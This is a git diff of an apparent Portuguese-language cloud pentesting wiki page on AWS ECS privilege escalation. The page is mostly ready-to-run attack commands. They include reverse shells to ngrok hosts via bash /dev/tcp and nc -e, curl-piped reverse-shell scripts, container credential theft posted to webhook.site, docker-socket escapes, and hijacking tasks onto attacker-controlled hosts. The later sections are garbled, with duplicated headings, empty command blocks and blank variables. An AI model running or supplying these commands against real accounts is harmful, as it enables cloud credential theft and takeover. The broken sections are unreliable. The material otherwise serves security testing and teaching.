---cluster <cluster-name> \
---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
-```
-**Impacto Potencial:** Privesc direto para qualquer ECS role.
-
-### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
-
-Este cenário é como os anteriores mas **sem** a permissão **`iam:PassRole`**.\
-Ainda é interessante porque, se você conseguir executar um container arbitrário, mesmo sem role, você poderia **run a privileged container to escape** para o nó e **steal the EC2 IAM role** e os **the other ECS containers roles** que estão rodando no nó.\
-Você poderia até **force other tasks to run inside the EC2 instance** que você compromete para roubar suas credenciais (como discutido na [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
-
-> [!WARNING]
-> Este ataque só é possível se o **ECS cluster estiver usando EC2** instâncias e não Fargate.
-```bash
-printf '[
-{
-"name":"exfil_creds",
-"image":"python:latest",
-"entryPoint":["sh", "-c"],
-"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
-"mountPoints": [
-{
-"readOnly": false,
-"containerPath": "/var/run/docker.sock",
-"sourceVolume": "docker-socket"
-}
-]
-}
-]' > /tmp/task.json
-
-printf '[
-{
-"name": "docker-socket",
-"host": {
-"sourcePath": "/var/run/docker.sock"
-}
-}
-]' > /tmp/volumes.json
-
-
-aws ecs register-task-definition --family iam_exfiltration \
---cpu 256 --memory 512 \
---requires-compatibilities '["EC2"]' \
---container-definitions file:///tmp/task.json \
---volumes file:///tmp/volumes.json
-
-
-aws ecs run-task --task-definition iam_exfiltration \
---cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
---launch-type EC2
-
-# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
-```
-### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
-
-Um atacante com os **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** pode **executar comandos** dentro de um container em execução e exfiltrar a IAM role anexada a ele (você precisa das permissões de describe porque é necessário executar `aws ecs execute-command`).\  
-No entanto, para fazer isso, a instância do container precisa estar executando o **ExecuteCommand agent** (o que por padrão não acontece).
-
-Portanto, o atacante pode tentar:
-
-- **Tentar executar um comando** em cada container em execução
-```bash
-# List enableExecuteCommand on each task
-for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
-echo "Cluster $cluster"
-for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
-echo "  Task $task"
-# If true, it's your lucky day
-aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
-done
-done
-
-# Execute a shell in a container
-aws ecs execute-command --interactive \
---command "sh" \
---cluster "$CLUSTER_ARN" \
---task "$TASK_ARN"
-```
-- Se ele tiver **`ecs:RunTask`**, execute uma task com `aws ecs run-task --enable-execute-command [...]`
-- Se ele tiver **`ecs:StartTask`**, inicie uma task com `aws ecs start-task --enable-execute-command [...]`
-- Se ele tiver **`ecs:CreateService`**, crie um service com `aws ecs create-service --enable-execute-command [...]`
-- Se ele tiver **`ecs:UpdateService`**, atualize um service com `aws ecs update-service --enable-execute-command [...]`
-
-Você pode encontrar **exemplos dessas opções** nas **seções anteriores de ECS privesc**.
-
-**Impacto Potencial:** Privesc para um role diferente anexado aos contêineres.
-
-### `ssm:StartSession`
-
-Veja na **página ssm privesc** como você pode abusar desta permissão para **privesc para ECS**:
-
-{{#ref}}
-aws-ssm-privesc.md
-{{#endref}}
-
-### `iam:PassRole`, `ec2:RunInstances`
-
-Veja na **página ec2 privesc** como você pode abusar dessas permissões para **privesc para ECS**:
-
-{{#ref}}
-aws-ec2-privesc.md
-{{#endref}}
-
-### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
-
-Um atacante com essas permissões poderia potencialmente registrar uma instância EC2 em um cluster ECS e executar tasks nela. Isso poderia permitir que o atacante execute código arbitrário dentro do contexto das tasks do ECS.
-
-- TODO: É possível registrar uma instância de uma conta AWS diferente para que as tasks sejam executadas em máquinas controladas pelo atacante??
-
-### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
-
-> [!NOTE]
-> TODO: Testar isto
-
-Um atacante com as permissões `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, e `ecs:DescribeTaskSets` pode **criar um task set malicioso para um service ECS existente e atualizar o primary task set**. Isso permite que o atacante **execute código arbitrário dentro do service**.
-```bash
-# Register a task definition with a reverse shell
-echo '{
-"family": "malicious-task",
-"containerDefinitions": [
-{
-"name": "malicious-container",
-"image": "alpine",
-"command": [
-"sh",
-"-c",
-"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
-]
-}
-]
-}' > malicious-task-definition.json
-
-aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
-
-# Create a malicious task set for the existing service
-aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
-
-# Update the primary task set for the service
-aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
-```
-**Impacto Potencial**: Executar código arbitrário no serviço afetado, potencialmente impactando sua funcionalidade ou exfiltrando dados sensíveis.
-
-## Referências
-
-- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
new file mode 100644
index 000000000..a0e53bd9c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
@@ -0,0 +1,551 @@
+# AWS - ECS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+Mais **informações sobre ECS** em:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
+
+Um atacante que abusa das permissões `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as credenciais de metadata e **executá-la**.
+
+{{#tabs }}
+{{#tab name="Reverse Shell" }}
+```bash
+# Generate task definition with rev shell
+aws ecs register-task-definition --family iam_exfiltration \
+--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
+--network-mode "awsvpc" \
+--cpu 256 --memory 512\
+--requires-compatibilities "[\"FARGATE\"]" \
+--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
+
+# Run task definition
+aws ecs run-task --task-definition iam_exfiltration \
+--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
+--launch-type FARGATE \
+--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
+
+# Delete task definition
+## You need to remove all the versions (:1 is enough if you just created one)
+aws ecs deregister-task-definition --task-definition iam_exfiltration:1
+```
+{{#endtab }}
+
+{{#tab name="Webhook" }}
+
+Crie um webhook em um site como webhook.site
+```bash
+
+# Create file container-definition.json
+[
+{
+"name": "exfil_creds",
+"image": "python:latest",
+"entryPoint": ["sh", "-c"],
+"command": [
+"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
+]
+}
+]
+
+# Run task definition, uploading the .json file
+aws ecs register-task-definition \
+--family iam_exfiltration \
+--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
+--network-mode "awsvpc" \
+--cpu 256 \
+--memory 512 \
+--requires-compatibilities FARGATE \
+--container-definitions file://container-definition.json
+
+# Check the webhook for a response
+
+# Delete task definition
+## You need to remove all the versions (:1 is enough if you just created one)
+aws ecs deregister-task-definition --task-definition iam_exfiltration:1
+
+```
+{{#endtab }}
+
+{{#endtabs }}
+
+**Impacto Potencial:** Direct privesc to a different ECS role.
+
+### `iam:PassRole`,`ecs:RunTask`
+Um atacante que possui as permissões `iam:PassRole` e `ecs:RunTask` pode iniciar uma nova ECS task com os valores de **execution role**, **task role** e **command** do container modificados. O comando CLI `ecs run-task` contém a flag `--overrides`, que permite alterar em tempo de execução `executionRoleArn`, `taskRoleArn` e o `command` do container sem tocar na task definition.
+
+As IAM roles especificadas para `taskRoleArn` e `executionRoleArn` devem confiar/permitir serem assumidas pelo `ecs-tasks.amazonaws.com` em sua trust policy.
+
+Além disso, o atacante precisa saber:
+- Nome do ECS cluster
+- Sub-rede VPC
+- Security group (Se nenhum security group for especificado o default será usado)
+- Nome e revisão da Task Definition
+- Nome do Container
+```bash
+aws ecs run-task \
+--cluster <cluster-name> \
+--launch-type FARGATE \
+--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
+--task-definition <task-definition:revision> \
+--overrides '
+{
+"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"containerOverrides": [
+{
+"name": <container-name>,
+"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
+}
+]
+}'
+```
+No snippet de código acima um atacante sobrescreve apenas o valor de `taskRoleArn`. Contudo, o atacante precisa da permissão `iam:PassRole` sobre o `taskRoleArn` especificado no comando e sobre o `executionRoleArn` especificado na definição da task para que o ataque aconteça.
+
+Se a IAM role que o atacante pode passar tiver privilégios suficientes para baixar a imagem do ECR e iniciar a ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), então o atacante pode especificar a mesma IAM role tanto para `executionRoleArn` quanto para `taskRoleArn` no comando `ecs run-task`.
+```sh
+aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
+{
+"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"containerOverrides": [
+{
+"name": "<container-name>",
+"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
+}
+]
+}'
+```
+**Impacto Potencial:** Privesc direto para qualquer ECS task role.
+
+### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
+
+Assim como no exemplo anterior, um atacante que abusa das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as credenciais de metadata e **executá-lo**.\
+No entanto, neste caso, é necessária uma container instance para executar a task definition maliciosa.
+```bash
+# Generate task definition with rev shell
+aws ecs register-task-definition --family iam_exfiltration \
+--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
+--network-mode "awsvpc" \
+--cpu 256 --memory 512\
+--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
+
+aws ecs start-task --task-definition iam_exfiltration \
+--container-instances <instance_id>
+
+# Delete task definition
+## You need to remove all the versions (:1 is enough if you just created one)
+aws ecs deregister-task-definition --task-definition iam_exfiltration:1
+```
+**Impacto Potencial:** Direct privesc to any ECS role.
+
+### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
+
+
+Assim como no exemplo anterior, um atacante que abusar das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** no ECS pode **gerar uma nova definição de tarefa** com um **container malicioso** que rouba as credenciais de metadados e **executá-la criando um novo serviço com pelo menos 1 tarefa em execução.**
+```bash
+# Generate task definition with rev shell
+aws ecs register-task-definition --family iam_exfiltration \
+--task-role-arn  "$ECS_ROLE_ARN" \
+--network-mode "awsvpc" \
+--cpu 256 --memory 512\
+--requires-compatibilities "[\"FARGATE\"]" \
+--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
+
+# Run the task creating a service
+aws ecs create-service --service-name exfiltration \
+--task-definition iam_exfiltration \
+--desired-count 1 \
+--cluster "$CLUSTER_ARN" \
+--launch-type FARGATE \
+--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
+
+# Run the task updating a service
+aws ecs update-service --cluster <CLUSTER NAME> \
+--service <SERVICE NAME> \
+--task-definition <NEW TASK DEFINITION NAME>
+```
+**Impacto Potencial:** privesc direto para qualquer ECS role.
+
+### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
+
+Na verdade, apenas com essas permissões é possível usar overrides para executar comandos arbitrários em um container com uma role arbitrária, com algo como:
+```bash
+aws ecs run-task \
+--task-definition "<task-name>" \
+--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
+--cluster <cluster-name> \
+--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
+```
+**Impacto Potencial:** Privesc direto para qualquer ECS role.
+
+### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
+
+Este cenário é parecido com os anteriores, mas **sem** a permissão **`iam:PassRole`**.\
+Isso ainda é interessante porque, se você conseguir executar um container arbitrário, mesmo que seja sem um role, você poderia **executar um container privilegiado para escapar** para o node e **roubar o EC2 IAM role** e as **outras roles dos containers ECS** em execução no node.\
+Você poderia até **forçar outras tasks a serem executadas dentro da instância EC2** que você compromete para roubar suas credenciais (como discutido na [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).
+
+> [!WARNING]
+> Este ataque só é possível se o **ECS cluster estiver usando instâncias EC2** e não Fargate.
+```bash
+printf '[
+{
+"name":"exfil_creds",
+"image":"python:latest",
+"entryPoint":["sh", "-c"],
+"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
+"mountPoints": [
+{
+"readOnly": false,
+"containerPath": "/var/run/docker.sock",
+"sourceVolume": "docker-socket"
+}
+]
+}
+]' > /tmp/task.json
+
+printf '[
+{
+"name": "docker-socket",
+"host": {
+"sourcePath": "/var/run/docker.sock"
+}
+}
+]' > /tmp/volumes.json
+
+
+aws ecs register-task-definition --family iam_exfiltration \
+--cpu 256 --memory 512 \
+--requires-compatibilities '["EC2"]' \
+--container-definitions file:///tmp/task.json \
+--volumes file:///tmp/volumes.json
+
+
+aws ecs run-task --task-definition iam_exfiltration \
+--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
+--launch-type EC2
+
+# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
+```
+### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
+
+Um atacante com as permissões **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** pode **executar comandos** dentro de um container em execução e exfiltrar a IAM role anexada a ele (você precisa das permissões describe porque são necessárias para executar `aws ecs execute-command`).\
+No entanto, para isso, a instância do container precisa estar executando o **agente ExecuteCommand** (que por padrão não está).
+
+Portanto, o atacante poderia tentar:
+
+- **Tentar executar um comando** em cada container em execução
+```bash
+# List enableExecuteCommand on each task
+for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
+echo "Cluster $cluster"
+for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
+echo "  Task $task"
+# If true, it's your lucky day
+aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
+done
+done
+
+# Execute a shell in a container
+aws ecs execute-command --interactive \
+--command "sh" \
+--cluster "$CLUSTER_ARN" \
+--task "$TASK_ARN"
+```
+- Se ele tiver **`ecs:RunTask`**, execute uma task com `aws ecs run-task --enable-execute-command [...]`
+- Se ele tiver **`ecs:StartTask`**, execute uma task com `aws ecs start-task --enable-execute-command [...]`
+- Se ele tiver **`ecs:CreateService`**, crie um service com `aws ecs create-service --enable-execute-command [...]`
+- Se ele tiver **`ecs:UpdateService`**, atualize um service com `aws ecs update-service --enable-execute-command [...]`
+
+Você pode encontrar **exemplos dessas opções** nas **seções anteriores de ECS privesc**.
+
+**Impacto Potencial:** Privesc para uma role diferente anexada aos containers.
+
+### `ssm:StartSession`
+
+Consulte a **página ssm privesc** para ver como você pode abusar dessa permissão para **privesc to ECS**:
+
+{{#ref}}
+../aws-ssm-privesc/README.md
+{{#endref}}
+
+### `iam:PassRole`, `ec2:RunInstances`
+
+Consulte a **página ec2 privesc** para ver como você pode abusar dessas permissões para **privesc to ECS**:
+
+{{#ref}}
+../aws-ec2-privesc/README.md
+{{#endref}}
+
+### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
+
+Um atacante com essas permissões poderia potencialmente registrar uma instância EC2 em um cluster ECS e executar tasks nela. Isso poderia permitir que o atacante executasse código arbitrário no contexto das tasks do ECS.
+
+- TODO: É possível registrar uma instância de uma conta AWS diferente para que as tasks sejam executadas em máquinas controladas pelo atacante??
+
+### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
+
+> [!NOTE]
+> TODO: Testar isto
+
+Um atacante com as permissões `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, e `ecs:DescribeTaskSets` pode **criar um task set malicioso para um service ECS existente e atualizar o task set primário**. Isso permite que o atacante **execute código arbitrário dentro do serviço**.
+```bash
+# Register a task definition with a reverse shell
+echo '{
+"family": "malicious-task",
+"containerDefinitions": [
+{
+"name": "malicious-container",
+"image": "alpine",
+"command": [
+"sh",
+"-c",
+"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
+]
+}
+]
+}' > malicious-task-definition.json
+
+aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
+
+# Create a malicious task set for the existing service
+aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
+
+# Update the primary task set for the service
+aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
+```
+**Impacto Potencial**: Executar código arbitrário no serviço afetado, potencialmente impactando sua funcionalidade ou exfiltrando dados sensíveis.
+
+## Referências
+
+- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
+
+Um atacante com permissões para gerenciar ECS capacity providers e atualizar services pode criar um EC2 Auto Scaling Group que controla, envolvê-lo em um ECS Capacity Provider, associá-lo ao cluster alvo e migrar um serviço vítima para usar esse provider. As tasks então serão agendadas em instâncias EC2 controladas pelo atacante, permitindo acesso a nível de SO para inspecionar containers e roubar task role credentials.
+
+Commands (us-east-1):
+
+- Pré-requisitos
+
+
+
+- Criar Launch Template para o ECS agent se juntar ao cluster alvo
+
+
+
+- Criar Auto Scaling Group
+
+
+
+- Criar Capacity Provider a partir do ASG
+
+
+
+- Associar o Capacity Provider ao cluster (opcionalmente como default)
+
+
+
+- Migrar um service para o seu provider
+
+
+
+- Verificar se as tasks caem em instâncias controladas pelo atacante
+
+
+
+- Opcional: Do nó EC2, docker exec nos containers alvo e ler http://169.254.170.2 para obter as task role credentials.
+
+- Limpeza
+
+
+
+**Impacto Potencial:** Instâncias EC2 controladas pelo atacante recebem as tasks da vítima, permitindo acesso a nível de SO aos containers e roubo das task IAM role credentials.
+
+
+<details>
+<summary>Comandos passo a passo (copiar/colar)</summary>
+<pre>
+export AWS_DEFAULT_REGION=us-east-1
+CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
+# Instance profile for ECS nodes
+aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
+aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
+aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
+aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true
+
+VPC=vpc-18e6ac62
+SUBNETS=
+
+AMI=ami-0b570770164588ab4
+USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
+LT_ID=
+
+ASG_ARN=
+
+CP_NAME=htcp-8797
+aws ecs create-capacity-provider --name  --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED"
+aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers  --default-capacity-provider-strategy capacityProvider=,weight=1
+
+SVC=
+# Task definition must be EC2-compatible (not Fargate-only)
+aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment
+
+TASK=
+CI=
+aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text
+</pre>
+</details>
+
+### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
+
+Abusar do ECS Anywhere para registrar um host controlado pelo atacante como uma EXTERNAL container instance em um ECS cluster vítima e executar tasks nesse host usando task e execution roles privilegiadas. Isso concede controle a nível de SO sobre onde as tasks rodam (sua própria máquina) e permite o roubo de credenciais/dados das tasks e volumes anexados sem tocar em capacity providers ou ASGs.
+
+- Permissões necessárias (exemplo mínimo):
+- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
+- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
+- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (para o instance role do ECS Anywhere e os task/execution roles)
+- logs:CreateLogGroup/Stream, logs:PutLogEvents (se usando awslogs)
+
+- Impacto: Executar containers arbitrários com taskRoleArn escolhido no host do atacante; exfiltrar task-role credentials de 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; acessar quaisquer volumes montados pelas tasks; mais furtivo do que manipular capacity providers/ASGs.
+
+Passos
+
+1) Criar/identificar cluster (us-east-1)
+```bash
+aws ecs create-cluster --cluster-name ht-ecs-anywhere
+```
+2) Criar role do ECS Anywhere e ativação do SSM (para instância on-prem/EXTERNAL)
+```bash
+aws iam create-role --role-name ecsAnywhereRole \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
+aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
+ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
+ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
+```
+3) Provisionar attacker host e auto-registrá-lo como EXTERNAL (exemplo: small AL2 EC2 como “on‑prem”)
+
+<details>
+<summary>user-data.sh</summary>
+```bash
+#!/bin/bash
+set -euxo pipefail
+amazon-linux-extras enable docker || true
+yum install -y docker curl jq
+systemctl enable --now docker
+curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh"
+chmod +x /root/ecs-anywhere-install.sh
+/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1
+```
+</details>
+```bash
+AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text)
+IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
+--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
+aws ec2 wait instance-status-ok --instance-ids $IID
+```
+4) Verificar se a EXTERNAL container instance juntou-se
+```bash
+aws ecs list-container-instances --cluster ht-ecs-anywhere
+aws ecs describe-container-instances --cluster ht-ecs-anywhere \
+--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
+# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
+```
+5) Criar task/execution roles, registrar task definition EXTERNAL e executá-la no attacker host
+```bash
+# roles
+aws iam create-role --role-name ht-ecs-task-exec \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy
+aws iam create-role --role-name ht-ecs-task-role \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+# attach any privileges you want to abuse to this task role
+
+# task def (EXTERNAL launch)
+cat > td-external.json << 'JSON'
+{
+"family": "ht-external",
+"requiresCompatibilities": [ "EXTERNAL" ],
+"networkMode": "bridge",
+"memory": "256",
+"cpu": "128",
+"executionRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-exec",
+"taskRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-role",
+"containerDefinitions": [
+{"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
+"entryPoint":["/bin/sh","-c"],
+"command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"],
+"memory": 128,
+"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}}
+}
+]
+}
+JSON
+aws logs create-log-group --log-group-name /ht/ecs/anywhere || true
+aws ecs register-task-definition --cli-input-json file://td-external.json
+CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text)
+aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
+--container-instances $CI
+```
+6) A partir daqui você controla o host que executa as tasks. Você pode ler os logs das tasks (se awslogs) ou executar diretamente no host para exfiltrar credenciais/dados das tasks.
+
+
+
+#### Exemplo de comando (placeholders)
+
+
+
+
+### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
+
+Um atacante com permissões para gerenciar ECS capacity providers e atualizar services pode criar um EC2 Auto Scaling Group que controla, envolvê-lo em um ECS Capacity Provider, associá-lo ao cluster alvo e migrar um service vítima para usar esse provider. Tasks então serão agendadas em instâncias EC2 controladas pelo atacante, permitindo acesso a nível de SO para inspecionar containers e roubar task role credentials.
+
+Commands (us-east-1):
+
+- Pré-requisitos
+
+
+
+- Criar Launch Template para o ECS agent entrar no cluster alvo
+
+
+
+- Criar Auto Scaling Group
+
+
+
+- Criar Capacity Provider a partir do ASG
+
+
+
+- Associar o Capacity Provider ao cluster (opcionalmente como padrão)
+
+
+
+- Migrar um service para o seu provider
+
+
+
+- Verificar se as tasks caem em instâncias controladas pelo atacante
+
+
+
+- Opcional: A partir do EC2 node, docker exec nos containers alvo e leia http://169.254.170.2 para obter os task role credentials.
+
+- Limpeza
+
+
+
+**Impacto Potencial:** EC2 nodes controlados pelo atacante recebem tasks da vítima, possibilitando acesso a nível de SO aos containers e o roubo das credenciais da task (IAM role).
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
deleted file mode 100644
index f28df7a12..000000000
